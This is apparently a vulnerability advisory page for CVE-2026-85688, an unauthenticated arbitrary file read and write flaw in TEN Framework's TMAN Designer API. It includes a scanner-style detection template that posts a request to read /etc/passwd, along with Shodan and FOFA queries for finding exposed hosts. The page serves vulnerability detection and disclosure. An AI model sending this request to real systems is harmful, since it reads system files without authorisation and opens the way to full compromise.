CVE-2026-85688: TEN Framework - Arbitrary File Read & Write
2026-09-21UnknownPoC Public
Description
TEN Framework 0.11.71 contains unauthenticated arbitrary file read and write vulnerabilities in the TMAN Designer file-content API endpoints, letting attackers read or write arbitrary files and execute code. The exploit requires no authentication.
PoC
id: CVE-2026-85688
info:
name: TEN Framework - Arbitrary File Read & Write
author: aryu-ru,geo-chen
severity: critical
description: |
TEN Framework 0.11.71 contains unauthenticated arbitrary file read and write vulnerabilities in the TMAN Designer file-content API endpoints, letting attackers read or write arbitrary files and execute code. The exploit requires no authentication.
impact: |
Attackers can read and write arbitrary files and execute code, potentially leading to full system compromise.
remediation: |
Update to the latest version of TEN Framework.
reference:
- https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer
- https://github.com/TEN-framework/ten-framework/issues/2187
- https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs
- https://nvd.nist.gov/vuln/detail/CVE-2026-85688
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-85688
epss-score: 0.01469
epss-percentile: 0.72173
cwe-id: CWE-306
metadata:
verified: true
max-request: 1
vendor: ten-framework
product: ten-framework
shodan-query: http.title:"TEN Manager"
fofa-query: title="TEN Manager"
tags: cve,cve2026,ten-framework,tman,lfi,ai,unauth
http:
- raw:
- |
POST /api/designer/v1/file-content HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"file_path":"/etc/passwd"}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "\"status\":\"ok\"", "\"data\":{\"content\":\"", "root:")'
- 'contains(content_type, "application/json")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022009605ff7a21ec8c099a99608650343a192ec4af4802262d3e9d846b6ade5a14e02210081df0a377d660ca380804739b240b745addc63a932f84b056957447a62321408:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.